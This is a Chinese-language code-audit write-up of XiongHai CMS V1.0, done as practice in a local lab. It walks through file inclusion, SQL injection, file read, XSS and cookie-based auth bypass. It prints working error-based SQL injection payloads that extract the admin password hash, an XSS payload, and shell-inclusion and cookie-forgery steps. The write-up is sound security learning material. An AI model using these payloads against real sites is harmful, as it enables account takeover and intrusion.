代码审计系列:熊海CMS V1.0 (iseaCMS_1.0)
目录
- 前言
- 一、环境
- 1、用到的工具
- 2、搭建环境
- 二、审计
- 1、文件包含
- (1)index.php
- (2)admin/index.php
- 2、SQL注入
- (1)admin/files/adset.php
- (2)admin/files/login.php
- (3)admin/files/newlink.php
- (4)admin/files/reply.php
- (5)admin/files/editlink.php
- (6)files/content.php
- (7)files/software.php
- 3、任意文件读取
- (1)files/downloads.php
- 4、XSS
- (1)seacmseditor/php/controller.php
- (2)files/contact.php反射XSS
- (3)files/list.php反射XSS
- (4)files/contact.php存储XSS
- (5)admin/files/manageinfo.php存储XSS
- 5、越权
- (1)/inc/checklogin.php
- 结语
前言
学习练习代码审计,找来据说很多洞对新手友好的 熊海CMS V1.0,15年的小CMS
一、环境
1、用到的工具
- phpstudy:官网下载,提供网站环境
- seay:github搜下就有,经典代码审计工具
- 熊海CMS V1.0:搜下就有,注意下来源就是
2、搭建环境
用phpstudy简单部署下,源码放在图中目录位置,注意php版本<7
修改C:\Windows\System32\drivers\etc\hosts
文件,加上
127.0.0.1 www.xhcms.com
配置完成后,在phpstudy_pro面板重启下Apache服务,然后浏览器访问www.xhcms.com/install
进入系统安装页面,填写好相关信息
跳转界面
环境搭建完成
二、审计
先扔进seay自动审计
然后一个个手动看
1、文件包含
(1)index.php
直接include,只用了addslashes做个转义,这有啥用啊
写个shell.php文件放files目录
另
也可以写txt文件,然后00截断或长度截断执行
(2)admin/index.php
一样一样的
2、SQL注入
(1)admin/files/adset.php
有addslashes转义了,属于误报
除非数据库编码与PHP编码设置有问题,导致可以宽字节注入
(类似的误报下面就不写了)
(2)admin/files/login.php
登录界面
- user和password是直接获取POST传来的参数,并没有进行任何过滤
- 先进行user的查询,如果user在数据库中存在,那么就进行password的比较,是将我们输入的password进行md5哈希一下,然后与数据库中的进行比对
所以说万能密码在这里是没有用的,但是我们却可以用报错注入得到用户名和密码
payload
user=123' or extractvalue(1,concat((select concat(0x7e,password,0x7e) from manage)))#&password=
或者
user=123' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0)#&password=
但是这里有一点比较坑的是,这里注出来的password最多只有27位,但是数据库存的是password的MD5值,有32位,所以说得到的md5是不对的,需要进行两次注入才能得到完整的密码,以extractvalue()函数为例:
user=123' or extractvalue(1,concat((select concat(0x7e,password) from manage)))#&password=
user=123' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#&password=
(3)admin/files/newlink.php
这里的变量都是直接POST传进来并且没做任何过滤
显然也是可以报错注入的
payload:'%20or%20updatexml(1,concat(0x7e,(select%20concat(user,0x3a,password)%20from%20manage)),1) or '
(4)admin/files/reply.php
GET获得id,没有过滤
payload:' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) or '
(5)admin/files/editlink.php
同样是没过滤
继续payload:' or updatexml(1,concat((select concat(0x7e,password,0x7e) from manage)),0) or '
(类似的就不再写了)
(6)files/content.php
- addslashes函数将
$id
进行了转义 - 第14行的SQL语句用了单引号保护
$navid
变量,防止SQL注入 - 但是19行却存在明显的UPDATE型注入,利用报错执行sql命令
payload:?r=content&cid=1%20or%20updatexml(1,concat(0x7e,(select%20concat(user,0x3a,password)%20from%20manage)),1)
(7)files/software.php
和(6)一样的漏洞
3、任意文件读取
(1)files/downloads.php
一路回溯
# 依次回溯
fopen("$sourceFile", "rb");|
$sourceFile = $fileadd;|
$fileadd=$down['softadd'];|
$down= mysql_fetch_array($result);|
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());|
$fileid=addslashes($_GET['cid']);
参数$sourceFile
的值大概率是受cid(用户可控)影响的
softadd
的值直接影响最后的$sourceFile
进入发布界面admin/?r=newsoft
然后前台下载?r=downloads
4、XSS
(1)seacmseditor/php/controller.php
在输出到浏览器的时候被htmlspecialchars转义成为了html实体
所以说这是一个误报
(2)files/contact.php反射XSS
addslashes()
只过滤了'
、"
、\
、NULL
,仍然可以执行xss命令
(3)files/list.php反射XSS
与(2)同理
(4)files/contact.php存储XSS
提交表单信息,将写入的评论存入$content
变量然后发送到sunbmit.php中进行处理,对name、mail、url都没有进行过滤
(5)admin/files/manageinfo.php存储XSS
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM manage";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$manage = mysql_fetch_array($resul);$save=$_POST['save'];$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];if ($save==1){if ($user==""){echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";
exit;}if ($name==""){echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";
exit;}
if ($password<>$password2){echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";
exit;}//处理图片上传
if(!empty($_FILES['images']['tmp_name'])){$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{$tmp = new FileUpload_Single;$upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改$tmp -> accessPath =$upload;if ( $tmp -> TODO() ){$filename=$tmp -> newFileName;//生成的文件名$filename=$upload.'/'.$filename;$imgsms="及图片";}
}
}if ($filename<>""){$images="img='$filename',";
}if ($password<>""){$password=md5($password);
$password="password='$password',";
}$query = "UPDATE manage SET
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,资料".$imgsms."设置已成功更新!');location.href='?r=manageinfo'</script>";
exit;
}
?>
- 参数由POST直接得到,无任何过滤
- 并没有用htmlspecialchars()或htmlentities()函数过滤
payload: <img src=1 onerror=alert(/xss/)>
5、越权
(1)/inc/checklogin.php
只要有cookie就可以,没有对cookie做判断
修改cookie后
成功越权
结语
拿来练手是极好的,毕竟现在不会有这么多低级漏洞了
参考:
- 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)–文件包含漏洞
- 熊海CMS_V1.0: 审计过程与漏洞分析
- 熊海CMS任意文件下载 0day
- 熊海cms代码审计
代码审计系列:熊海CMS V1.0 (iseaCMS_1.0)相关推荐
- 适合入门代码审计之熊海cms
一.前言 简单了解了一下,审计入门,熊海比较适合,因为是简单的cms,适合入门. 二.审计环境 使用小皮面板,新建网站 三.审计过程 先了解文件目录 admin --管理后台文件夹 css --存放c ...
- 熊海博客php版本,熊海CMS xhcms v1.0代码审计
有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0 本地环境安装好了之后,可以看到提示安装了锁文件 说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了, ...
- 熊海CMS 1.0代码审计漏洞集合
目录 SQL注入 注入1 注入2 注入3 cookie注入 注入5 XSS 反射型xss1 存储型xss2 反射型xss3 反射型xss4 存储型xss5 文件包含 越权登录 熊海CMS是由熊海开发的 ...
- PHP代码审计demo之熊海cms
实践学习php,thinkphp,Redis,vue,uni-app等技术,推荐开源电商系统likeshop,可以借鉴思路,可去版权免费商用,gitee下载地址: 点击进项目地址 php漏洞的利用依赖 ...
- 熊海博客php版本,xhcms_v1.0 熊海CMS是由熊海开发的一款可广泛应用于个人博客 联合开发网 - pudn.com...
xhcms_v1.0 所属分类:WEB开发 开发工具:Java 文件大小:4002KB 下载次数:3 上传日期:2015-05-14 14:41:13 上 传 者:dou 说明: 熊海CMS是由熊海 ...
- 熊海cms——代码审计
前言 再基本了解了代码审计的方法后,参考各个师傅的博客跟着他们一步一步代码审计. 下载源码:A5源码.站长之家.源码之家.系统官网等. 审计环境 使用小皮面板,新建网站 接着直接打开网站的instal ...
- 熊海CMS网站SQL注入、XSS攻击、cookie篡改
CMS下载地址:https://www.jb51.net/codes/303119.html 代码审计,篡改cookie登录管理员界面 通过信息搜集找到了网站的源码 this.location='?r ...
- 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞
前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...
- 代码审计系列:久草CMS(9CCMS)V1.9
前言 偶然看到一篇9CCMS(久草CMS) V1.9 弱口令+后台拿shell的文章 兴起去找来源码看看,下载源码 审计了下有下面这些洞 1.前台反射XSS 在文件static/home/videoj ...
最新文章
- vue 同一个域名移动端pc端两套代码跳转_百度移动搜索优化:手机站优化指南
- android app数据库数据存放
- iOS 设置所有UIButton的ExclusiveTouch属性为YES
- c语言二次函数拟合,二次函数拟合算法
- reveal end of document
- 如何解决json中携带的反斜杠_【经验分享】python干货:5种反扒机制的解决方法...
- 自主品牌语音交互性能测评,荣威RX5反应更快,博越变暖男
- Unity学习笔记(一)——C#语法基础
- [2018.11.05 T2] 买牛奶
- JVM内存管理------GC算法精解
- python生成图像公章_科学网—python pillow库 python界的ps 实现数据批量盖章 并打包成exe - 李鸿斌的博文...
- VS中C++解决方案中多个项目文件的引用
- kdj超卖_为什么在KDJ指标的超卖区间不能卖出股票
- java后台 apiV3 对接微信app支付
- python爬取天猫商品数据
- CLion下开发OpenGL项目,忘记进入glad.c文件造成的问题
- Struts2 OGNL标签
- 腾讯微博平台开发,熟悉API结构,获得头像本地保存
- php中文字符串提取方法,preg_replace 和preg_match_all区别
- L2-018 多项式A除以B (25 分)
热门文章
- python py7zr 压缩解压 指定文件名、文件后缀
- linux 快捷键常用
- vs2015卸载问题解决方案.vs2013编译缺少cscui.dll 及 Delphi 编译报ToolsVersion “14.0“错误
- 火狐浏览器被恶意篡改,劫持(打开同时跳出主页和2345网页)
- 浏览器大战再起,谁将夺取企业市场第一把交椅?
- java电影票选座_Android自定义view实现电影票在线选座功能
- svn 合并分支到主干
- 解决达梦数据库DM8创建用户提示:“密码长处不符合要求”问题
- 电子科技大学《图论及其应用》复习总结---第二章 树
- Unity通过相机控制场景模型的移动和缩放